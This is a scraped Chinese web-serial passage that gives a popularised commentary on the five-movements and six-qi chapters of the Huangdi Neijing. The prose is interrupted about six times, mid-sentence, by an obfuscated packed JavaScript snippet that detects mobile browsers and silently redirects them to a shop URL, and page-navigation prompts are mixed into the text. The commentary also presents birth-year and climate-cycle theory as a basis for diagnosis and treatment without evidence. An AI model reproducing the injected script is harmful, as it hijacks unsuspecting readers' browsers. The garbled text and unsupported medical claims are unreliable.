同样，心属火，对应夏季的炎热之气；脾属土，主管运化；肺属金，主气司呼吸；肾属水，藏精纳气。每一脏器的病变，都可能与五运的盛衰有着千丝万缕的联系。医生通过综合分析患者的出生年份、体质特点、症状表现及五运的影响，能够制定出更加个性化、精准的治疗方案，帮助患者恢复五脏的和谐与平衡。 这样的诊断与治疗过程，不仅体现了中医的博大精深，也彰显了中医对生命本质的深刻理解与尊重。在中医的世界里，每一个生命都是独一无二的，都值得我们用心去倾听、去感受、去治疗。 当然，这只是中医理论中的一个方面，其博大精深之处远不止于此。但无论如何，鬼叟区的这番话，无疑是对中 医五行学说及天干配五运理论的一种高度认可和赞誉。在此，我也希望更多的人能够了解并关注这一古老而智慧的学说，共同探索生命的奥秘和自然的法则。 第30章 （6）三阴三阳与五运是怎样相配合的？ 黄帝问三阴三阳与五运是怎样相配合的呢？ 鬼叟区说：这个问题涉及到了中医理论中的“五运六气”学说，尤其是“六气司天”的部分，这是一个相当深奥且专业的领域。在中医古籍中，有这样的记载，用以解释自然界气候变化对人体健康的影响，以及预测疾病流行的规律。 六气司天，是中医理论中“五运六气”学说的重要组成部分，它源于古人对自然界气候变化规律的深刻观察与总结，用以解释和预测气候变化对人体健康的影响。下面，我将 对六气司天进行详细的科普解答。 六气司天的概念 六气，即风、热（暑）、火、湿、燥、寒，它们代表了自然界中六种不同的气候变化特征。司天，则是指这六种气候变化在每年中轮流主导天气的过程。具体来说，每年由不同的“气”来司天，即主导当年的气候变化，这种规律性的变化与中医的五行学说和天干地支纪年法紧密相关。 六气司天顺序，是基于古代天干地支纪年法与中医五行六气理论的结合。在这个体系中，每年由不同的“气”来“司天”，即主导当年的气候变化和人体健康的主要影响因素。 少阴司天：从气候层面来看，少阴司天意味着这一时段内，自然界中的阴气相对较强，阳气则处于相对内敛的状态。这种气候特点往往表现为气温偏低、阳光不足，给人一种清冷而沉静的感觉。在这样的环境下，万物生长虽缓，却也蕴含着蓄势待发的力量。 进而，当我们将这种气候特点映射到人体上时，就会发现少阴司天与人体内的某些生理机能和病理变化之间存在着紧密的对应关系。在中医理论中，少阴与心、肾两脏密切相关，尤其是与肾阳的温煦功能紧密相连。因此，在少阴司天的时段里，人体内的阳气相对较弱，肾气容易不足，进而可能导致一系列与心肾功能相关的病理变化。比如，人们可能会感到畏寒怕冷、四肢不温、精神萎靡等肾阳虚的症状；同时，由于心火不旺，也可能出现心悸、失眠、多梦等心阳不足的表现。 当然，少阴司天并非全然负面。它提醒我们，在这一时段内要特别注意保护体内的阳气，避免过度消耗或受到寒邪的侵袭。 当说“太阴司天，阴气更盛”时，我们仿佛能预见到一个被寒冷与湿润气息轻轻拥抱的年份。 从气候学的角度来看，太阴司天确实预示着这一年中阴气将达到一个相对的高峰，阳气则相对内敛。这种气候特征往往导致气温偏低，雨水偏多，空气湿度增大，从而营造出一种寒冷而湿润的氛围。在这样的年份里，自然界的万物可能会生长得更加缓慢而深沉，仿佛在进行着一场静悄悄的蓄力。 然而，太阴司天不仅仅是对自然界气候变化的简单描述，它更深刻地揭示了这种变化对人体健康可能产生的影响。在中医理论中，太阴与脾经、肺经等脏腑功能密切相关。因此，在太阴司天的年份里，人们需要特别注意保护这些脏腑的功能，以防受到寒冷、湿邪的侵袭。比如，加强保暖、避免长时间处于潮湿环境中、适当食用具有健脾祛湿功效的食物等，都是很好的养生之道。 少阳司天，阳气初升”时，这不仅仅是中医理论中的一个专业术语，更是大自然在一年轮回中，给予我们的一幅生机盎然的画卷。想象一下，随着冬季的寒冷逐渐退去，春天的脚步悄然而至，少阳司天便如同一位温柔的画家，用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428784|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他那初升的阳光，为大地添上了一抹温暖的色彩。 在这个阶段，自然界的阳气开始逐渐增强，万物仿佛都感受到了这股生命力的召唤，纷纷从沉睡中苏醒过来。树木开始抽出嫩芽，花朵也竞相绽放，空气中弥漫着泥土与花草的清新香气。这样的景象，不仅让人心情愉悦，更是大自然生命力顽强、生生不息的生动体现。 从中医的角度来看，少阳司天与人体内的肝胆经密切相关。肝胆主疏泄，喜条达而恶抑郁。因此，在少阳司天的时段里，人们应该顺应自然的变化，保持心情的舒畅与愉悦，避免过度压抑和抑郁的情绪。同时，也可以适当进行一些户外活动，如散步、慢跑等，以助阳气升发，促进身体的新陈代谢和血液循环。 此外，少阳司天还提醒我们，在享受大自然带来的温暖与生机的同时，也要注意保护好自己的身体。随着气候的转暖，各种细菌和病毒也开始活跃起来。因此，我们要注意个人卫生和环境卫生，避免疾病的发生和传播。 谈及阳明司天，脑海中便不由自主地浮现出夏日炎炎、烈日当空的景象。确实，在这个时段里，自然界的阳气达到了一个鼎盛的状态，气候也变得异常炎热。对于人体而言，这无疑是一个需要特别注意防暑降温的时期。 从中医养生的角度来看，阳明司天时，人体内的阳气也随之外放，与自然界中的阳气相呼应。然而，过度的阳气亢盛也可能导致人体出现一系列的不适症状，如口干舌燥、心烦意乱、汗出过多等。因此，在这个时候，我们更要注重调节自身的阴阳平衡，以应对炎热的气候。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第31章 五运行大论篇 在探讨《五运行大论》这一深邃的中医理论篇章时，我们仿佛穿越回了那个古人仰观天象、俯察地理，以天地自然之理阐释生命奥秘的时代。五运，即木、火、土、金、水五行之气在宇宙间的运行变化规律，它不仅仅是自然界五种基本物质形态的抽象，更是宇宙万物生长化收藏、相互制约与促进的哲学体现。 “行”，一字千钧，寓意着运动不息、变化无穷。在《五运行大论》中，五运的“行”不仅描述了五行之气在时空中的流转与更迭，更揭示了它们如何通过相生相克的关系，影响着天地间的气候变迁、季节更替以及万物的生长衰亡。这种运动变化规律，是古人对自然界深刻观察与体悟的智慧结晶。 六气，即风、寒、暑、湿、燥、火，它们与五运相辅相成，共同构成了中医理论中关于自然界气候变化的基本框架。五运六气的和谐与失衡，直接关系到人体的健康与疾病。《五运行大论》通过阐述五运六气的运动变化规律，为我们揭示了“天人合一”的哲学思想，即人体内部脏腑经络的生理病理变化，与外界环境特别是气候的变化密切相关。 因此，该篇大论不仅是对自然界运动规律的深刻阐述，更是中医预防医学、治疗学乃至养生学的重要理论基础。它教导我们，要顺应自然，调和阴阳，以达到“治未病”的目的，促进身心健康，实现人与自然的和谐共生。 在深入探讨这篇关于五运六气的经典论述时，我们不妨将其内容分而析之，以更贴近知乎风格的方式来呈现。 首先，关于五运学说的创立原理，这无疑是古人智慧与观察力的结晶。他们仰望星空，脚踏大地，从自然界的种种现象中抽象出了木、火、土、金、水五行，并赋予它们运动变化的属性，形成了五运学说。这一学说的创立，不仅是对自然界运行规律的深刻认识，更是古人哲学思想的重要体现，展现了“天人合一”的宇宙观。 接下来，介绍六气的位置、运行方向和次序，这部分内容如同天空中的星辰图谱，为我们揭示了自然界气候变化的奥秘。风、寒、暑、湿、燥、火六气，它们各自占据一方，按照特定的方向和次序运行，共同编织着四季更迭、气候变迁的壮丽画卷。这种有序而复杂的运行机制，正是自然界万物生长化收藏的根本动力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428785|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 然后说六气托举大地并影响着自然气候和万物这一点，我们可以想象成大地之母被六气这位温柔的舞者轻轻环绕，随着她的舞步，大地上的万物也随之起舞。六气的升降出入，不仅调节着气候的冷暖干湿，更深刻地影响着生物的生长发育和繁衍。这种影响，是潜移默化而又无处不在的，它让我们深刻体会到自然界万物之间的相互依存和制约关系。 最后，讲述五运六气对天地万物生化的影响，这无疑是整篇论述的核心所在。五运六气作为自然界运行的基本规律，它们通过复杂的相互作用和制约关系，共同塑造着天地万物的生化过程。从草木的荣枯到动物的迁徙，从季节的更替到气候的变迁，无一不受到五运六气的影响。这种影响不仅体现在物质层面上，更深刻地渗透到生命活动的每一个细微之处，让我们不得不感叹自然界的神奇与伟大。 综上所述，本篇论述通过深入剖析五运六气的运行变化规律及其对天地万物生化的重要影响，为我们展示了一幅宏伟而细腻的自然界运行图景。它不仅是对自然界规律的深刻认识，更是对人类生命活动的深刻洞察和体悟。 第31章 （1）五运学说的创立原理 黄帝说我想听听运气学说是怎样创立的。 岐伯说：你提的这个问题很高明啊，我从阅览太史天元册看到其中记载到古人观测天象时，看到天空中有赤色的云气，经过牛女二素及西北方戊分之间。黄色的云气，经过心，尾二宿及东南方的已分之间。青色的云气，经过危，室二宿与柳，鬼二宿之间。白色的云气经过亢，氐二宿与茆，毕二宿之间。黑色的云气经过张，翼二宿与娄，胃二宿之间。 在古代的天文观测中，“赤色云气经过牛女二宿及西北戊分之间”这样的描述，不仅仅是浪漫与想象的产物，更是古人智慧与观察力的结晶。在那个科技尚未触及星辰大海的时代，天空成为了他们探索宇宙、理解自然法则的广阔舞台。 首先，我们来解读一下这句话中的天文元素。“牛女二宿”，即牵牛星（今称牛郎星）与织女星，它们分别位于银河两侧，是夏夜星空中最为耀眼的星辰之一，也是中国古代神话“牛郎织女”故事的原型。而“西北戊分”，则可能指的是天空中的某个特定区域或方位，这里的“戊”或许是古代天文划分天空区域的一种方式，类似于现代的星座划分，但更加古朴和神秘。 赤色云气，作为天空中的一种自然现象，其出现往往能引发古人无限的遐想。在没有现代气象学知识指导的情况下，古人倾向于将天文现象与地上的人事吉凶、王朝兴衰等联系起来，形成了一套独特的占星术和天象解读体系。赤色，在传统文化中常被视为吉祥、尊贵的象征，但也可能预示着某种不寻常的变化或挑战。 因此，“赤色云气经过牛女二宿及西北戊分之间”这样的描述，很可能被古人视为一种天象异变，他们或许会据此推测出国家的命运、战争的胜负、农作物的收成乃至个人的命运等。当然，这种解读方式在现代科学看来或许显得过于主观和牵强，但它却深刻地反映了古人对自然界的敬畏之心以及对未知世界的探索欲望。 那么，如果我们要用现代的知识来“翻译”这段描述，或许可以这样理解：赤色云气可能是一种特殊的大气现象，比如晚霞的余晖、火山灰的扩散或是某种罕见的气象条件导致的云彩变色。而“牛女二宿”即牵牛星和织女星，它们在夜空中的位置相对固定，成为了古人划分天区、观测天象的重要标志。西北方的戌分，则可能是指古人根据星宿位置划分出的一个特定天区。 在古代的天幕之下，黄色的云气犹如神来之笔，轻轻勾勒出一幅幅令人遐想的天象画卷。当这抹金色的光辉穿越心宿与尾宿，最终抵达东南方的已分之地，古人或许正屏息以待，心中涌动着对丰收、财富乃至神圣力量的无限憧憬。 而当我们以现代科学的眼光审视这一幕时，那黄色的云气或许就褪去了几分神秘，变得更为具体而可解。它可能是大自然的一场精心布局，比如沙尘暴在风的助力下，跨越千山万水，将远方的尘土带到了这片天空；也可能是大气中的某种化学反应，在特定条件下绽放出耀眼的色彩；又或是日落时分，阳光穿透云层，与大气中的微粒共舞，编织出这绚烂的余晖。 不过，无论这黄色的云气背后隐藏着怎样的科学奥秘，它都不妨碍我们欣赏古人那份纯真而浪漫的想象。在那个没有高清相机、没有实时气象预报的年代，古人用他们敏锐的双眼和丰富的情感，捕捉到了天空中的每一个细微变化，并将其编织成一个个动人的故事和传说。这些故事和传说，不仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428786|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丰富了我们的历史文化宝库，也让我们在仰望星空时，能够感受到那份跨越时空的情感共鸣。 所以，当我们再次凝视那片被黄色云气点缀的天空时，不妨既用科学的眼光去探索其背后的真相，又用心灵去感受那份来自古人的浪漫与想象。毕竟，在浩瀚的宇宙面前，科学与人文从来都不是对立的两个极端，而是相互依存、共同前行的伙伴。 白色云气穿梭于亢宿、氐宿，并与茆宿（这一古称确实充满了历史的韵味，尽管现代天文学中难以直接对应，但不妨碍我们感受其背后的文化深意）、毕宿相交织的景象，古人的观察力确实令人钦佩。 白色，作为色彩中的纯净与和平的象征，在古代文化中往往与清洁、高尚以及神圣等概念紧密相连。当这抹白色云气悠然游走在亢宿与氐宿之间，再与茆宿、毕宿交织成一幅幅流动的画卷时，古人或许正沉浸在一种超脱世俗、接近天道的意境之中。 从现代科学的角度来看，白色的云气同样是大气中水汽、尘埃等微粒在特定条件下形成的光学现象。它们可能是云层中水滴对阳光的散射作用，也可能是冰晶在特定角度下对光线的折射和反射造成的视觉效果。这些自然现象虽然看似平常，但背后却蕴含着复杂的气象学和物理学原理。 因此，当我们再次品味这些古老的天文记录时，不妨以一颗平和而开放的心态去欣赏其中的诗意与想象，同时也尝试用现代科学的眼光去解读其中的奥秘与智慧。这样，我们或许能在历史与现实的交汇点上，找到那些连接过去与未来的奇妙线索，从而更加深刻地理解人类文明的演进和发展。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第31章 （2）介绍六气的位置，运行方向和次序 黄帝说天元纪大论中曾提到天地是万物的上下，左右是阴阳运行的道路，我还不明白它的含义。 首先，让我们以一种既不失严谨又略带趣味的方式来解读岐伯这段关于“上下左右”与中医五运六气理论中“司天在泉”及“左右间气”的深奥关系。 岐伯说：站在这个巨大的、以北极为中心的古老罗盘上，我仿佛穿越回了那个星辰与智慧交织的古老时代。这不仅仅是一个地理的坐标，更是一个中医哲学与宇宙观完美融合的奇妙空间。 “司天”与“在泉”，这两个词汇在中医理论中如同罗盘上的两极，引领着我们对自然界气候变化的深刻理解。司天，它就像那夜空中最亮的北极星，不仅指引着航海者的方向，也象征着一年中最为关键、影响深远的气候力量。它高悬于上，以其独特的韵律和节奏，调控着四季的更迭，万物的生长。 而在它的对立面，“在泉”则静静地躺在大地之下，如同深邃的井水，滋养着万物，为生命提供着源源不断的能量。它虽不显山露水，却是天地间阴阳二气流转的根基所在。司天与在泉的相互作用，共同构成了自然界气候变化的宏伟乐章，也决定了天地间阴阳二气的分布与流转。 在这个中医智慧的星辰图谱中，每一颗星辰都代表着一种特定的气候或生命现象。它们或明或暗，或远或近，共同编织出一幅幅生动而复杂的自然画卷。而站在这个罗盘之上，我仿佛能够感受到那股来自远古的智慧之风，它轻轻拂过我的面颊，带我领略中医理论的博大精深和宇宙自然的奥秘无穷。 当我们谈及“左右”，在中医的浩瀚星空中，这二字仿佛化作了无形的织锦，将六气（厥阴、少阴、太阴、少阳、阳明、太阳）依据五行相生相克的古老韵律，精妙地编织在一起。想象一下，你正站在那个以北极为中心的古老罗盘上，面向北方，而“司天”正是你眼前的那颗璀璨星辰，引领着一切。 围绕这颗星辰，“左右”两侧自然而然地铺展开了一幅六气流转的画卷。这不仅仅是对自然界气候变化的简单描绘，更是中医哲学中天人合一理念的深刻体现。在中医看来，人体是一个小宇宙，与外在的大宇宙息息相关，同频共振。因此，这六气的排列顺序，不仅揭示了自然界气候的周期性变化，也隐喻了人体内部脏腑经络与天地间的微妙联系。 具体来说，当“司天”为某一特定之气时，其左右两侧的六气便按照五行相生的顺序依次排列。这种排列方式，既体现了中医对自然界运行规律的深刻洞察，也指导着中医临床的实践。例如，在治疗疾病时，中医医生会根据患者所处的时空背景，即“司天在泉”的情况，以及患者自身的体质特点，综合运用各种治疗手段，以达到调节人体阴阳平衡、恢复脏腑功能的目的。 因此，当我们谈论“左右”与六气之间的关系时，实际上是在探讨一个深奥而宏大的哲学命题——天人合一。在这个命题下，中医不仅是一门医学，更是一种生活方式，一种与自然和谐共生的智慧。 在中医的宇宙观里，当“司天”这位气候界的CEO选定为厥阴时，它的左右手（也就是东边的少阴和西边的太阳）便自然而然地成为了它的得力助手，共同绘制出一幅动态的六气轮转图。这幅图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428787|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就像是大自然的一台精密时钟，周而复始，循环不息，既记录着四季的更迭，也预示着风雨的变幻。 想象一下，如果你是一个古代的中医大师，手握这张六气轮转图，你就能像天气预报员一样，提前预知下一阶段的气候特点，为百姓的健康保驾护航。而更重要的是，这张图还蕴含着中医临床诊疗的精髓——在治疗疾病时，不仅要关注患者个体的身体状况，还要综合考虑他所处的时空背景，即“天人合一”的整体观念。 具体来说，当遇到一位病人时，中医医生会先通过望闻问切等诊断手段，了解他的病情和体质特点。然后，再根据当前“司天在泉”的情况，即自然界的气候变化特点，来制定个性化的治疗方案。比如，如果当前正值厥阴司天，那么医生在用药时可能就会更多地考虑到厥阴风木的特性，以及它与其他五气的相互作用关系，从而选择那些能够调和风木、平衡阴阳的药物。 因此，这种六气轮转图的排列方式，不仅是古人预测和解释自然界气候变化的智慧结晶，更是中医临床诊疗实践中不可或缺的重要工具。它让我们明白了一个道理：在中医的世界里，没有孤立的人，也没有孤立的气候变化，只有天人合一、和谐共生的整体观念。 所以，岐伯的这段话，实际上是在用一种高度抽象而又精准的语言，向我们揭示了中医理论中人与自然和谐共生的奥秘。它不仅仅是对气候变化的简单描述，更是对生命本质、宇宙规律深刻理解的一种体现。 黄帝说什么叫做在泉。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第31章 （3）脉象中的密码：六气、天地万物与人体的和谐共生 黄帝说：大地是不是在下面呢？ 岐伯说：应该说大地是在人的下面，在太空的中间。 黄帝说：它在太空中间依靠的是什么呢？ 岐伯说：六气”学说与天地万物生长变化，融合传统智慧与科学。如果说大气层是地球的“托儿所阿姨”，那么“他”——这位包罗万象的“小朋友”，从山川湖海到飞禽走兽，确实都是被这位温柔的“阿姨”轻轻托起，呵护着成长的呢！ 岐伯此言虽富有诗意，实则蕴含了深刻的自然哲学。他所说的“他”，确实是一个广义的概念，涵盖了世间万物，包括我们脚下的土地、头顶的蓝天，以及这之间繁衍生息的所有生命。这句话以一种浪漫而直观的方式，强调了自然环境，特别是大气条件，在万物生长过程中所扮演的不可或缺的角色。 现代科学对此有着更为精确和系统的解释。大气层，这个包裹着地球的巨大“外衣”，不仅像盾牌一样保护我们免受宇宙射线的伤害，还通过其复杂的成分构成（如水蒸气、氧气、二氧化碳等）、温度梯度、气压分布等因素，直接影响着地球的气候系统，进而决定了地表生态的多样性和稳定性。 例如，大气中的水蒸气参与水循环，滋养了万物；氧气则是生物呼吸的必需品；二氧化碳则在一定程度上调节着地球的温度，过高或过低都会对生态系统造成巨大影响。此外，大气的温度、压力变化还会引起风向、风速、降水等气象现象，这些都对地表生态的演化和生物种群的分布起着至关重要的作用。 我们接着说六气——燥、暑、风、湿、寒、火，在中医理论中摇身一变成了“六淫”，听起来就像是自然界的六位“魔法师”，各自掌握着不同的魔法，对世间万物施展着它们的影响。 燥气这位“魔法师”擅长“脱水术”，它一到场，无论是大地还是生物体，都仿佛被吸走了水分，变得干燥起来。这种干燥，有时候是恰到好处的，让万物更加坚韧；但有时候也会过头，导致干裂、枯萎。 暑气，这位“热情似火”的魔法师，它一发力，分子们就像是打了鸡血一样，疯狂地运动起来，蒸发、蒸腾这些过程都被加速到了极致。在暑气的笼罩下，世界仿佛变成了一个大蒸笼，让人热得喘不过气来。 风气，这位“流浪者”魔法师，它无处不在，无时不在流动。它带着变化与活力，穿梭于山川湖海之间，也穿梭于生物体的每一个细胞之间。有时候，它温柔地吹拂着万物，带来一丝丝凉爽；但有时候，它也会变得狂暴，掀起惊涛骇浪，或是摧毁一切。 湿气，这位“生命之源”魔法师，它滋养着万物，让大地充满生机。在湿气的滋润下，植物茁壮成长，动物也得以繁衍后代。但湿气过多，也会带来困扰，比如潮湿的环境容易滋生细菌，影响人体健康。 寒气，这位“冷凝师”魔法师，它有着让物质变得更加稳固的魔力。在寒气的侵袭下，水会凝结成冰，大地也会变得坚硬无比。但同时，寒气也会让生物体感到寒冷，甚至威胁到它们的生命。 火气，这位“温暖与生命”的象征。在自然界中，它代表着阳光、火焰等热源；在生物体内，它则是维持生命活动所必需的热能。火气的存在，让这个世界充满了温暖和活力，也让生命得以延续。 这六气（六淫），既是自然界的基本气象条件，也是中医理论中影响人体健康与自然界万物生长的重要因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428788|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素。它们各自独特的作用机制，共同构成了这个丰富多彩、变化万千的世界。 “风寒在于下，燥热在于上，湿气在于中，火气游行于中间”，这句话仿佛是一幅古人绘制的自然气候分布图，简洁而富有诗意地勾勒出了六气在垂直空间上的大致布局。虽然以现代气象学的严谨视角来看，这种分布并非铁律，但它无疑是古人基于对自然现象的长期观察与感悟，所形成的一种朴素而深刻的理解。 想象一下，在古代没有高精密的气象仪器，也没有卫星云图可供参考，但我们的祖先却能凭借一双敏锐的眼睛和一颗善于思考的心，洞察到自然界中这些微妙而复杂的规律。他们发现，在冬季或寒冷地区，风寒之气往往更贴近地表，让人感受到刺骨的寒冷；而到了夏季或温暖地带，燥热之气则更多地聚集在上方，形成闷热难耐的天气。至于湿气，它似乎更喜欢在中部地区徘徊，为万物生长提供必要的水分；而火气，则如同一个活泼的精灵，在天地间自由穿行，为大地带来温暖与光明。 这种理解虽然简单，却蕴含着古人对自然界垂直方向上气候差异的敏锐洞察。它告诉我们，自然界中的每一种气象现象都不是孤立存在的，而是相互关联、相互作用的。正是这种相互作用，构成了我们眼前这个复杂多变、生机勃勃的世界。 当然，随着现代科技的发展，我们对自然界的认识越来越深入，对气候现象的解释也越来越精确。但古人的这种朴素理解，仍然具有其独特的价值。它让我们在感叹古人智慧的同时，也更加珍惜和敬畏自然。毕竟，无论时代如何变迁，自然界中的那些基本规律，都是永恒不变的。 这章没有结束，请点击下一页继续阅读！ 第31章 （4）揭秘六气之风：如何应和人体，影响万物生化奥秘 黄帝说：寒暑燥湿风火六气，与人体是怎样应和的呢？对于万物的生化，又有什么关系呢？ 岐伯说：这个问题实则蕴含了中医理论中“五行相生”与“脏腑相应”的深刻哲理，我们不妨以一种既不失严谨又略带趣味的方式来探讨。 在中医的宇宙观里，东方被视为日出之地，万物复苏之源，因此对应着春季与木行。春风拂面，不仅带来了温暖的气息，更激发了自然界中木类植物的勃勃生机，这正是“东方应春而生风，春风能使木类生长”的生动写照。这里的“木”，不仅仅是实体之木，更象征着生长、发展、条达之性，与人体内的肝脏功能相类比，因为肝主疏泄，喜条达而恶抑郁，恰似春日里蓬勃生长的树木。 “木类声酸味”，即木类（包括木性脏腑——肝）具有酸的属性。酸味在中医五味中，对应着收敛、固涩的作用，而肝藏血，需要一定的收敛之力以维持血行的稳定。同时，酸味入肝，适量食用酸味食物能滋养肝脏，促进肝血的生成与调节，体现了“酸味滋养肝脏”的养生智慧。 “肝滋养筋膜，肝气输于筋膜”，则是中医“肝主筋”理论的体现。筋膜遍布全身，连接肌肉与骨骼，是维持身体运动灵活性的重要组织。肝气充足，则筋膜得养，人体动作敏捷、强健有力；肝气不足或郁结，则筋膜失养，可能出现肢体僵硬、运动不便等症状。肝气通过经络系统输布至全身筋膜，为其提供必要的营养与活力。 其气又能滋养心脏”触及到了五行学说中“木生火”的精髓。这不仅仅是一种哲学上的象征，更是中医对人体内部脏腑间相互作用深刻理解的体现。 想象一下自然界的场景：春天，万物复苏，树木（木）蓬勃生长，郁郁葱葱，到了夏天，这些树木便成为烈日（火）下的一片片绿荫，为生灵提供庇护。这正是“木生火”的生动写照——木之旺盛孕育了火的热烈与光明。 在人体内部，肝（木）与心（火）的关系亦是如此。肝主疏泄，调畅气机，其气条达而舒畅，如同春日里生机勃勃的树木，为全身各脏腑提供源源不断的生机与活力。当心（火）得到肝（木）的滋养时，就如同夏日阳光下的绿荫，使得心火既明亮又不过于炽烈，保证了思维的敏捷与情绪的平稳。 从生理层面来看，肝藏血，心主血，二者在血液的运行与调节上紧密合作。肝血充足，能够确保心血充盈，从而滋养心脏，使其功能得以正常发挥。这种关系不仅体现在血液的供应上，更在于二者在气机调节、情绪管理等方面的相互协调与配合。 因此，“其气又能滋养心脏”这一说法，不仅是中医五行相生理论的具体应用，也是对人体内部脏腑间复杂而精妙联系的高度概括。 当我们谈论“六气”在天地间的奥妙时，不禁让人联想到古人那种仰观天文、俯察地理，试图以有限的智慧去把握无限宇宙规律的伟大尝试。在中医与古代哲学的语境下，“六气”往往指的是风、寒、暑、湿、燥、火这六种自然界的基本气候变化，它们不仅是天气现象的简单描述，更是宇宙间阴阳消长、五行生克制化规律的具体体现。 “在太天深远无边”，这里的“太天”或可理解为广阔无垠的天空，象征着宇宙的浩瀚与深邃。六气在其中自由运行，构成了自然界千变万化的气候现象， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428789|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是宇宙大化流行、生生不息的直观展现。 “在人为认识事物的变化规律”，则是指人类通过观察六气的变化，逐渐认识到自然界乃至社会生活中事物发展的规律。这种认识过程，不仅是知识的积累，更是智慧的启迪，它让我们能够顺应自然，和谐共生。 “在地为万物的生化”，六气作用于大地，促进了万物的生长化收藏。从一粒种子的萌芽到参天大树的耸立，从涓涓细流到浩瀚江海的形成，无不是六气作用的结果。这种生化过程，体现了自然界生命力的顽强与多样性。 “生化然后能生成五味”，万物在六气的滋养下生长繁茂，进而产生了酸甜苦辣咸等五味。这不仅是味蕾上的享受，更是自然界丰富多彩、变化无穷的又一例证。 “认识了事物的规律，然后能生成智慧”，当人类通过对六气及万物生化的观察与思考，逐渐把握了自然界乃至社会的运行规律时，便能够生成智慧，指导我们的生产与生活，使社会更加和谐有序。 “深远无边的宇宙，生成变化莫测的神”，这里的“神”可以理解为宇宙间那种超乎想象、难以言喻的神奇力量。它既是万物生成变化的根源，也是人类不断追求、探索的永恒主题。 “变化而生成万物之气机”，最终，六气的不断变化与相互作用，构成了万物生成与变化的气机。这种气机，既是自然界生命力的源泉，也是人类智慧与创造力的源泉。它提醒我们，要时刻保持对自然的敬畏之心，不断学习、探索、创新，以更好地适应这个变化莫测的世界。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第31章 （5）揭秘暑热：如何应和人体，影响万物生化奥秘 黄帝说：暑热与人体是怎样应和的呢？对于万物的生化，又有什么关系呢？ 岐伯说：这个问题其实蕴含了中医理论中五行相生相克与脏腑功能相互关联的深刻哲理，我们不妨以一种既尊重传统又易于理解的方式来探讨。 在中医的世界里，自然界的四季变化与人体内脏腑的功能活动紧密相连，形成了“天人相应”的学说。南方应夏而生热，热盛则生火”，正是这一理论的具体体现。夏天，南方地区气候炎热，自然界的阳气旺盛，这种外在的热能对应到人体内，便促进了“火”的生成，这里的“火”并非实指火焰，而是指人体内的一种温暖、推动生命活动的能量状态，类似于现代医学中的新陈代谢加速。 